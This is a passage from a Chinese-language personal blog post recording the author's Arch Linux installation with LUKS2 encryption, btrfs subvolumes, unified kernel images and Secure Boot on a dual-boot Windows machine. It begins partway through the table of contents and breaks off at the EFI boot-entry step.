&lt;p&gt;6.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%AE%89%E8%A3%85-Arch-Linux&quot;&gt;6. 安装 Arch Linux&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;7.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE%E7%BD%91%E7%BB%9C&quot;&gt;7. 配置网络&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;8.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7&quot;&gt;8. 创建用户&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;9.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE-Secure-Boot&quot;&gt;9. 配置 Secure Boot&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;10.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE-TPM-PIN-%E8%A7%A3%E5%AF%86%E6%A8%A1%E5%BC%8F&quot;&gt;10. 配置 TPM + PIN 解密模式&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;11.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE%E7%A3%81%E7%9B%98%E8%87%AA%E5%8A%A8-Scrub%EF%BC%88%E5%8F%AF%E9%80%89%EF%BC%89&quot;&gt;11. 配置磁盘自动 Scrub（可选）&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;12.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%AE%89%E8%A3%85%E6%A1%8C%E9%9D%A2%E7%8E%AF%E5%A2%83&quot;&gt;12. 安装桌面环境&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;13.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE%E4%B8%AD%E6%96%87%E8%BE%93%E5%85%A5%E6%B3%95&quot;&gt;13. 配置中文输入法&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;13.1.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%AE%89%E8%A3%85%E8%BE%93%E5%85%A5%E6%B3%95&quot;&gt;13.1. 安装输入法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;13.2.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E4%BF%AE%E6%94%B9%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F&quot;&gt;13.2. 修改环境变量&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;13.3.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE%E5%9C%A8-X11-%E4%B8%8B%E8%BF%90%E8%A1%8C%E7%9A%84-GTK-%E5%BA%94%E7%94%A8&quot;&gt;13.3. 配置在 X11 下运行的 GTK 应用&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;13.4.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE%E8%BE%93%E5%85%A5%E6%B3%95&quot;&gt;13.4. 配置输入法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;13.5.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%BA%94%E7%94%A8%E9%85%8D%E7%BD%AE&quot;&gt;13.5. 应用配置&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;14.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE%E8%87%AA%E5%8A%A8%E5%BC%80%E5%90%AF-NumLock&quot;&gt;14. 配置自动开启 NumLock&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;14.1.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E6%97%A9%E6%9C%9F%E7%8E%AF%E5%A2%83&quot;&gt;14.1. 早期环境&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;14.2.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#SDDM-%E7%8E%AF%E5%A2%83&quot;&gt;14.2. SDDM 环境&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;14.3.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#KDE-%E7%8E%AF%E5%A2%83&quot;&gt;14.3. KDE 环境&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;15.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE-Plymouth&quot;&gt;15. 配置 Plymouth&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;16.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%AE%89%E8%A3%85-Paru-%E4%BD%9C%E4%B8%BA-AUR-Helper&quot;&gt;16. 安装 Paru 作为 AUR Helper&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;17.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%AE%89%E8%A3%85-NVIDIA-%E9%A9%B1%E5%8A%A8&quot;&gt;17. 安装 NVIDIA 驱动&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;18.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%AE%89%E8%A3%85%E9%9F%B3%E9%A2%91%E9%A9%B1%E5%8A%A8&quot;&gt;18. 安装音频驱动&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;19.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E6%B7%BB%E5%8A%A0-Swap-%E6%96%87%E4%BB%B6&quot;&gt;19. 添加 Swap 文件&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;20.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E8%93%9D%E7%89%99%E9%85%8D%E5%AF%B9&quot;&gt;20. 蓝牙配对&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;21.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB&quot;&gt;21. 指纹识别&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;22.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E8%87%AA%E5%8A%A8%E7%99%BB%E9%99%86%E5%B9%B6%E9%94%81%E5%AE%9A&quot;&gt;22. 自动登陆并锁定&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;23.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E9%85%8D%E7%BD%AE-Shell&quot;&gt;23. 配置 Shell&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;24.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#mDNS-%E6%9C%8D%E5%8A%A1&quot;&gt;24. mDNS 服务&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;25.&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alampy.com&#x2F;2024&#x2F;03&#x2F;23&#x2F;arch-luks2-installation-notes&#x2F;#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99&quot;&gt;25. 参考资料&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h2&gt;
&lt;p&gt;这篇文章不是教程，仅仅用于记录我在安装 Arch Linux 时的一些配置过程，以实现某种意义上的“可重现性”。您不应该直接复制粘贴这里的内容，而应该根据自己的需求和环境进行调整。&lt;&#x2F;p&gt;
&lt;p&gt;由于 Arch Linux 的更新速度较快，安装过程可能会随着时间而变化，所以请注意查看 Arch Wiki 和相关文档以获取最新的信息。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-xie-jue-ze&quot;&gt;一些抉择&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;使用块设备加密&lt;&#x2F;strong&gt;：保护数据不被泄露。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;不使用任何 Bootloader&lt;&#x2F;strong&gt;：Windows BitLocker 在使用 EFI Chainload 的情况下会拒绝启动，必须直接由 UEFI 固件引导。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;使用 UKI（统一内核映像） 启动方式&lt;&#x2F;strong&gt;：便于签名并使用 Secure Boot。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;不加密内核&lt;&#x2F;strong&gt;：内核本身并不具有任何敏感信息，泄露的风险不高。且 Secure Boot 会保证内核完整性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;使用独立的 EFI 系统分区&lt;&#x2F;strong&gt;：避免休眠时 EFI 系统分区被另一系统挂载。若在 Linux 下不会挂载任何 Windows 使用的分区，则无需关闭 Windows 的快速启动。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zhun-bei-fen-qu&quot;&gt;准备分区&lt;&#x2F;h2&gt;
&lt;p&gt;由于已安装 Windows，为方便起见，我们在 Windows 下使用磁盘管理工具调整分区：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;新建一个 EFI 系统分区，无需格式化，这里采用了 1 GiB 的大小（请根据实际情况调整）&lt;&#x2F;li&gt;
&lt;li&gt;新建一个数据分区，无需格式化，这里采用了 350 GiB 的大小（请根据实际情况调整）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果磁盘没有未分配空间，则可能还需要缩小现有分区以腾出空间。如果你需要对 NTFS 分区进行无损缩小，可以考虑使用在 Windows 下使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.disktool.cn&#x2F;&quot;&gt;傲梅分区助手&lt;&#x2F;a&gt;，注意调整过程中需要先关闭 BitLocker。对于 ReFS 分区，目前暂时还没有找到无损缩小的方法（如果有的话，欢迎在 Telegram 上 PM 哦），只能备份数据后重建分区。&lt;&#x2F;p&gt;
&lt;p&gt;我这里所创建的 EFI 分区为磁盘 2 的第 4 个分区，数据分区为磁盘 2 的第 5 个分区。在 Linux，将分别被识别为 &lt;code&gt;&#x2F;dev&#x2F;nvme1n1p4&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x2F;dev&#x2F;nvme1n1p5&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yu-pei-zhi-windows&quot;&gt;预配置 Windows&lt;&#x2F;h2&gt;
&lt;p&gt;考虑到安装 Arch 前本地已有 Windows 系统，为了避免双系统读取 RTC 时间时因为时区不一致导致未知问题，在 Windows 端设置写入到 RTC 的时区为 UTC：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;reg add &amp;quot;HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TimeZoneInformation&amp;quot; &amp;#x2F;v RealTimeIsUniversal &amp;#x2F;d 1 &amp;#x2F;t REG_DWORD &amp;#x2F;f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhun-bei-an-zhuang-jie-zhi&quot;&gt;准备安装介质&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;下载 Arch Linux LiveCD 镜像，官方站：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;download&#x2F;&quot;&gt;Arch Linux Downloads&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;通过 GPG 验证下载到的镜像来自 Arch Linux 官方（从镜像站下载时，尤其应该进行此步骤）&lt;&#x2F;li&gt;
&lt;li&gt;使用 Rufus 制作 UEFI 启动盘（这里在 Windows 下操作，如果你从其他系统操作，请自行查找相应的工具）&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;an-zhuang-arch-linux&quot;&gt;安装 Arch Linux&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;启动到 LiveCD。注意 Live CD 不能使用 Secure Boot 启动，请在安装过程中临时关闭 Secure Boot。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;cat &#x2F;sys&#x2F;firmware&#x2F;efi&#x2F;fw_platform_size&lt;&#x2F;code&gt; 验证 UEFI 引导模式，应为 &lt;code&gt;64&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;ip link&lt;&#x2F;code&gt; 检查 LiveCD 环境的网络连接&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;timedatectl&lt;&#x2F;code&gt; 从网络上更新时间&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查分区信息&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fdisk -l
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;格式化 EFI 分区&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkfs.vfat -n EFI &amp;#x2F;dev&amp;#x2F;nvme1n1p4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;格式化数据分区为 LUKS2 容器，此时请设置一个强密码（后续我们将使用 TPM + PIN 模式简化大部分情况下的密码输入）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cryptsetup luksFormat &amp;#x2F;dev&amp;#x2F;nvme1n1p5
cryptsetup open &amp;#x2F;dev&amp;#x2F;nvme1n1p5 system
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;|本文使用的子卷布局如下：|||&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;子卷&lt;&#x2F;th&gt;&lt;th&gt;挂载点&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;@&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;&lt;&#x2F;td&gt;&lt;td&gt;根目录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;@home&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;home&lt;&#x2F;td&gt;&lt;td&gt;用户数据&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;@var_log&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;var&#x2F;log&lt;&#x2F;td&gt;&lt;td&gt;日志文件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;@swap&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;swap&lt;&#x2F;td&gt;&lt;td&gt;交换文件（后面再创建）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样可以使得系统和用户数据分离，允许您将 &lt;code&gt;@&lt;&#x2F;code&gt; 恢复到以前的快照，同时保持 &lt;code&gt;&#x2F;home&lt;&#x2F;code&gt; 不变。同时便于为系统和用户数据设置不同的快照策略。&lt;&#x2F;p&gt;
&lt;p&gt;我们先建立除交换子卷以外的 btrfs 及子卷：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkfs.btrfs --label system &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system
mount &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system &amp;#x2F;mnt
btrfs subvolume create &amp;#x2F;mnt&amp;#x2F;@
btrfs subvolume create &amp;#x2F;mnt&amp;#x2F;@home
btrfs subvolume create &amp;#x2F;mnt&amp;#x2F;@var_log
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;挂载文件系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;umount -R &amp;#x2F;mnt
mount --mkdir -o noatime,subvol=@ &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system &amp;#x2F;mnt
mount --mkdir -o noatime,subvol=@home &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system &amp;#x2F;mnt&amp;#x2F;home
mount --mkdir -o noatime,subvol=@var_log &amp;#x2F;dev&amp;#x2F;mapper&amp;#x2F;system &amp;#x2F;mnt&amp;#x2F;var&amp;#x2F;log
mount --mkdir &amp;#x2F;dev&amp;#x2F;nvme1n1p4 &amp;#x2F;mnt&amp;#x2F;efi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安装基本系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pacstrap -K &amp;#x2F;mnt base linux linux-firmware intel-ucode btrfs-progs
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果为 AMD 系列 CPU，可将 &lt;code&gt;intel-ucode&lt;&#x2F;code&gt; 替换为 &lt;code&gt;amd-ucode&lt;&#x2F;code&gt; 以安装对应的微码&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;生成 fstab 文件，将现有的挂载配置持久化：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;genfstab -U &amp;#x2F;mnt &amp;gt;&amp;gt; &amp;#x2F;mnt&amp;#x2F;etc&amp;#x2F;fstab
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成后使用 &lt;code&gt;cat &#x2F;mnt&#x2F;etc&#x2F;fstab&lt;&#x2F;code&gt; 检查是否正确&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;切换根：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;arch-chroot &amp;#x2F;mnt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：使用 &lt;code&gt;arch-chroot&lt;&#x2F;code&gt; 而不是 &lt;code&gt;chroot&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置时区：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ln -sf &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;zoneinfo&amp;#x2F;Asia&amp;#x2F;Shanghai &amp;#x2F;etc&amp;#x2F;localtime
hwclock --systohc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里设置时区为上海，你可以根据自己的实际情况调整&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置区域（Locale）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;locale.gen&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;取消注释 &lt;code&gt;en_US.UTF-8 UTF-8&lt;&#x2F;code&gt; 和 &lt;code&gt;zh_CN.UTF-8 UTF-8&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;生成区域设置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;locale-gen
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;locale.conf&lt;&#x2F;code&gt; 写入：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;LANG=en_US.UTF-8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于 TTY 无法显示中文，所以全局语言设置为英文，中文环境将在桌面环境中设置。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;hostname&lt;&#x2F;code&gt; 写入主机名&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 &lt;code&gt;passwd&lt;&#x2F;code&gt; 设置 root 密码&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;安装基础软件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pacman -Syu networkmanager base-devel vim sbctl efibootmgr terminus-font
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;编辑 &lt;code&gt;&#x2F;etc&#x2F;mkinitcpio.conf&lt;&#x2F;code&gt; 使用以下 HOOKS：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;HOOKS=(base systemd autodetect modconf kms keyboard sd-vconsole block sd-encrypt filesystems fsck)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;查看磁盘分区永久名称：执行 &lt;code&gt;ls -l &#x2F;dev&#x2F;disk&#x2F;by-uuid&#x2F;&lt;&#x2F;code&gt; 找到连接到 &lt;code&gt;&#x2F;dev&#x2F;nvme1n1p5&lt;&#x2F;code&gt; 的 UUID。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置内核参数 &lt;code&gt;&#x2F;etc&#x2F;kernel&#x2F;cmdline&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fbcon=nodefer rw rd.luks.allow-discards cryptdevice=&amp;#x2F;dev&amp;#x2F;disk&amp;#x2F;by-uuid&amp;#x2F;YOUR_DEVICE_UUID:system bgrt_disable root=LABEL=system rootflags=subvol=@,rw splash vt.global_cursor_default=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配置启动时解密 &lt;code&gt;&#x2F;etc&#x2F;crypttab.initramfs&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;system &amp;#x2F;dev&amp;#x2F;disk&amp;#x2F;by-uuid&amp;#x2F;YOUR_DEVICE_UUID none timeout=180
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 &lt;code&gt;&#x2F;etc&#x2F;vconsole.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;KEYMAP=us
FONT=ter-132b
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过 sbctl 创建自定义签名：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sbctl create-keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用 mkinitcpio 生成 UKI（统一内核映像）：
修改 &lt;code&gt;&#x2F;etc&#x2F;mkinitcpio.d&#x2F;linux.preset&lt;&#x2F;code&gt;，注释掉 &lt;code&gt;default_config&lt;&#x2F;code&gt; 和 &lt;code&gt;fallback_config&lt;&#x2F;code&gt;，取消注释 &lt;code&gt;default_uki&lt;&#x2F;code&gt; 和 &lt;code&gt;fallback_uki&lt;&#x2F;code&gt;，然后执行：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -P &amp;#x2F;efi&amp;#x2F;EFI&amp;#x2F;Linux
mkinitcpio -P
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;添加 EFI 引导项：&lt;&#x2F;p&gt;
